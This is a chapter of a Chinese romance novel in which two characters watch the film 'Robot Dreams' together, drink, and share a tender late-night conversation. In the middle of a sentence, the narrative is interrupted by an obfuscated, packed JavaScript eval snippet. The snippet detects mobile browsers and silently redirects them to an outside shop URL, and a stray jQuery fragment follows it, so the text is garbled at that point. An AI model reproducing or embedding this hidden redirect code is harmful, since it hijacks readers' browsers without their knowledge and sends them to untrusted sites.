电视原先接的游戏，从HDMI输入源切回电视主页，再登录B站账号购买电影，一连串细碎的操作，在偌大空间里划下不自在的吞咽空间。
安静催生紧张，划手机又不礼貌，梁心只能抿可乐。
等他付完款，她起了个话题，“正清，明天你要祭拜你爷爷吗？”
0613，就是明天。如果回国不想让杨梦知道，又住在S市没走，她猜他是为此而来。
“真聪明。”他手支下颌，侧着身子，偏头抿了口酒，“我也猜一件事行吗？”
“嗯哼？”
“猜中了有奖励吗？”
“猜什么？”
他说得相当笃定：“我有九成把握能猜中。”
梁心不知道他要猜什么，毫无心机地点头：“好，猜中有奖。”
他拿起手机，打字前刻意看了她一下。梁心不明所以，只看见他低下眼，手指在屏幕上灵活滑过两下，一行字就跳了出来。
直到屏幕送到眼皮底下，她的注意力还没从修长的手指上收回来。
等看清【我猜你酒后乱过性】几个字，她上一秒脑子里的话正在脱口而出：“程序员手速都这么快吗？”
他见她答非所问：“是的话就喝一口可乐。”
旁边安静如鸡，李正清眼皮一抬：“人要诚实。”
梁心不是不诚实，她只是在复盘。
这人的观察力和推理能力好恐怖，很多她自以为轻轻带过的反应，他都注意到并且精准分析了。
她认输地喝了一小口可乐。
空气中掠过一声轻笑。
“好了，罚你跑腿，把你的杯子和酒拿过来。”
梁心知道他杯子又空了，但拿她杯子是什么意思：“为什么拿我杯子？”
他说得模糊：“我帮你脱敏。”
梁心抱紧自己：“你居心叵测。”
“你总在半夜偷喝，我猜你馋酒，如果能喝两口，不过敏，也不是一杯倒，不至于怎么样。”他顿了顿，“至于酒后乱性这种东西，如果不是醉到失去判断力，酒精顶多只是拉低你本来就不高的底线。”
这话戳中梁心的玻璃心，她咬死：“你在找借口。”
“我在帮你放松。”他扫了她一眼，“你要不要看看你现在严防死守的坐姿。”
“我喜欢这么坐。”
他没拆穿，只把空杯往她那边轻轻一推，“那劳烦帮我拿酒，不用拿你的杯子。”
梁心腾地站起来：“成交。”
抓起酒瓶，她慢半拍地反应过来，这人不费吹灰之力骗到了她一个秘密。她抱着酒瓶小跑回去，“那我也猜一个。你酒后乱过性。”
李正清握着遥控器，瞧见她那张气鼓鼓的脸，唇角没忍住往上一扬，“猜错了。”说着视线落到她怀里的酒瓶，“要不要一起品一口令尊大人喜欢的酒？”
“你没有？”
如果不是他喜欢酒后放松的状态，知道防线被降低是什么感觉，又怎么会从她挑酒的行为里，猜她酒后乱过性。梁心想不通。
“我没有。”
“谁作证？”她盯着他似笑非笑的唇角，总觉得这人是在骗她。
“谁怀疑谁举证。”他靠回沙发里，打了两个响指提醒她倒酒，“要不这样，你喝一点，让我证明自己酒后也有自制力。”
这八百个心眼子一点也不藏了。梁心的笑意带得手腕一抖，酒不小心倒了半杯马克杯。
对于高度数金酒来说，这量有点没轻没重了。
李正清接过杯子，掂出分量：“你在考验我？”
“不是你自己要证明的吗？”他前面喝了两口，每次都只倒一点，显然有心控制。嘴硬到一半，梁心被他看得耳根发热，伸手去拿自己的可乐，“喝不完就别喝。”
画面停在《机器人之梦》开始界面，他跟她一道儿把杯子送到唇边，杯沿挡住半张脸。
不同的，她是可乐，他是酒。
“看电影吧，有点晚了。”
“好啊。明天你几点去看你爷爷。”
“醒了就去。”
“那我们开始吧。”
“好。”
他扫了眼江衫发来的消息，倒扣手机，按下播放键。
转瞬，蓝白色的光映亮杯缘和他们的面孔。
故事开篇是一只小狗独自吃饭，独自看电视，独自站在窗边发呆。后来，它订购了一个机器人作伴，屋子里自此多出一盏灯。它们一起去中央公园滑轮，一起听歌，一起在纽约街头晃来晃去。
电影没有对白，画风简单，复古动画的色彩在乌瞳里一帧帧跳动。机器人绽开第一抹笑时，梁心也跟着弯起嘴角，自然地说——
“机器人好可爱啊。”
“小狗的生活都不孤独了。”
“哇，一起玩转纽约！”
“拍照这part好可爱！”
“小狗好贴心，给机器人盖被子。”
“居然去潜水，机器人不会进水吗？防水有深度限制吗？”
又过了一会儿，她双手捧脸：“天！勾手指了！这是友情还是爱情？”
客厅只留了一盏落地灯，窗外中雨未停，大自然的白噪音隔着玻璃漫进来。
两人各自占据沙发一角，爆米花放在中间，隔出一段不远不近的距离。
梁心抱着膝盖，后背陷进软垫里。李正清拎着马克杯，原本在看电视，后来视线不知怎么偏了一寸，落到她身上。她爆米花吃得很慢，一颗要在嘴里嚼好久，他好奇什么味道，朝她伸手。
梁心抓了几颗给他，“还行，咸甜口的爆米花。”
他一把嚼完，清了清嗓子：“没想到，你看电影嘴巴会发弹幕。”
她一愣，替自己解释：“你不是看过了吗？我怕你无聊。”
李正清有点哭笑不得：“谢谢你。”
“你是不是嫌我吵？”
梁心看东西一直有这个毛病。小时候动画片看不懂，她一个问题接一个问题地问爸爸。爸爸耐心好，什么都答，连一只小鸭子为什么掉队，也能解释半天。就是忘了解释看东西的时候不要说话。
后来和男朋友看东西，他们的讨论有时比电影对白还密。她习惯了看东西说话，当然，也能理解别人不喜打扰。思及李正清的观影态度是严肃的，她立刻收声，做起合格的观众。
电影里，小狗和机器人在海滩玩了一天，太阳很好，海水很好，一切都是夏天应有的样子，谁知机器人碰水，关节生锈，躺在沙滩上不能动了。小狗想带它走，却怎么也带不走。等它第二天再回来，海滩已经关了。
李正清偏过脸。
光影跳跃地蔓延出来，流淌到她的脚背。身旁的她跟按下静音一样，眼睛一眨不眨，因着小狗带不走机器人，眼角肉眼可见地耷拉下来。
他看了她一会儿，忽然低声说：“你真可爱。”
梁心听到他唇齿间那令人耳红心跳的吞咽声，目不斜视地回应：“你也很可爱。”
这时，李正清的手机响了。他低头看了一眼，朝梁心指了指手机屏幕，“我可能要接一下。”
“好啊。”
她以为他要避开她，但没有，他直接点了。
手机屏幕里出现一只狗，毛绒脸，圆眼睛，脸因为被人强行举到镜头前，占据100%屏幕。梁心认出来这是Milo。
视频那边男人女人的声音交叠响起，控诉今天Milo闹脾气，趴在门口枕着他穿过的拖鞋，屁股对他们。
李正清眉眼一下就软了，说过几天就去接它。
Milo对人声不敏感，听到李正清的声音没有梁心以为的激动。那张狗脸就这么呆呆左右地转动，似乎不喜欢面对镜头。
那边问他是不是在外面，怎么声音压这么低？
李正清抬手枕到脑后，身子稍微坐直了些：“旁边有人，不太方便。”
对面连“哦”了几声：“在贵州了？怎么没更新朋友圈。”
“后天去。”
“回来把航班发我，我去接你。”
“好。”
视频挂得很快，梁心问：“你后天走，是去贵州吗？”
“嗯。”李正清把手机随手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685805|204933||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一放，“旅游。”
“几天？”
“四天。”
她点点头，又问：“那还回来吗？”
“直接回去上班。”李正清没有解释太多，把电影往回退一分钟，重新按下播放。
电影的颜色依然温柔，故事却开始悲伤。
小狗被禁止靠近那片海滩，只能隔着围栏往里望。机器人躺在沙滩上，因为关节生锈，一动不能动。于是它每天做梦，梦见自己按响小狗的门铃，又回到小狗身边。
海滩要到六月一日才重新开放。
小狗也难过，也想念，也试着回去找机器人。只是日子不能因为失去谁而停下来。它回到没有机器人的城市，振作起来继续生活，也认识了新朋友。
它时常会想起机器人，始终记得六月一日要去接它。
不能去海滩的日子里，小狗没有被困在那片海滩。它持续开展新的关系，而机器人则停在原地，等一个回不去的夏天。
后来，小狗终于等到海滩重新开放，可沙滩上已经空了。
机器人被小浣熊捡走，缝缝补补修好，又有了新的身体。小狗也有了新的陪伴。它们没有背叛谁，也没有忘记谁，只是被时间推着走到了不同的地方。
梁心视线一时糊掉一时清晰，等哭到喘不上气，泪珠已砸湿裤摆。
这电影没有一句对白，故事也简单得过分，想到哭成这副样子，梁心猜，李正清肯定要笑话她。
一转头，却看见他眼眶里也浮着一层湿意，正在安静地看尾声。
屏幕光一明一暗，落在他侧脸。要不是眼尾那一点薄红，梁心几乎以为那点湿润之色是她的错觉。
她挂着眼泪，很不识趣地说：“你居然哭了？”
李正清这才意识到自己的反应，眨了下眼，压下眼底薄泪。偏过脸回视，神情自若，倒也没多少意外：“我不能哭吗？”
梁心心口忽然软得不像话，低下声音：“不是。我以为你看电影不会哭。”
电影里的音乐像雨中持续散开的潮气，又快乐又温柔，让人从窒息的悲伤中缓过气来。
他看着屏幕，过了几秒，才说：“上一次看的时候没哭。”
梁心问：“那这次呢？”
李正清拇指在马克杯杯壁蹭了几下，眼神柔软得像还沉浸在电影里：“这次感受不同。”
她坐近了一些，注视着他眸中的光影变幻，“哪里不同啊？”
李正清视线停在她哭红的脸颊，忽然很想捏一下，感觉手感很好：“可能上次没喝酒吧。”
梁心被他这一句逗得轻轻吸了下鼻子：“真好。我上次跟未婚夫看电影，差点哭得差点岔过气。结果他在旁边一点反应都没有，显得我像个泪失禁。”
“可能有些人看电影表现比较内敛？”
“不是的。”梁心皱起眉头，“我们看的是《忠犬八公》，我不能接受看《忠犬八公》也这么面无表情。”
他立刻站在她这边，“那确实不对。”许是喝了酒，语调比平时懒散，沙沙哑哑拖着音，一句话说了平时的两倍时间，“如果是我，会跟你抢纸巾盒。”
就算听出揶揄，梁心心头仍是暖的。好奇怪，没喝酒，也止不住的荡漾。
“这酒怎么样？”
李正清低头闻了闻：“我喝不出好歹，不知令尊大人喜欢这酒什么，要不你转述一下评价，让我品品？”
“好啊。”
时间不早，电影也结束了。外面的雨都下累了，越来越小。
按理说，他们该关电视，各自回房睡觉。可她不太想。她还想跟他说一会儿话，想让湿漉漉的灯光和哭过的柔软再多停一会儿。
她伸出手，轻轻发出信号：“要不借我喝一口？我回忆一下？”
他让那个请求停了二十秒，才把杯子递过去。
朝梁心的那一侧是没碰过的杯沿，梁心却没有就着那一边直接喝，而是转了半圈，对着他喝过的那处，贴到唇边。
酒液很凉，入口却烧。她睁着眼，没有躲开他的视线。两个人隔着一只杯子，安静地窥探对方。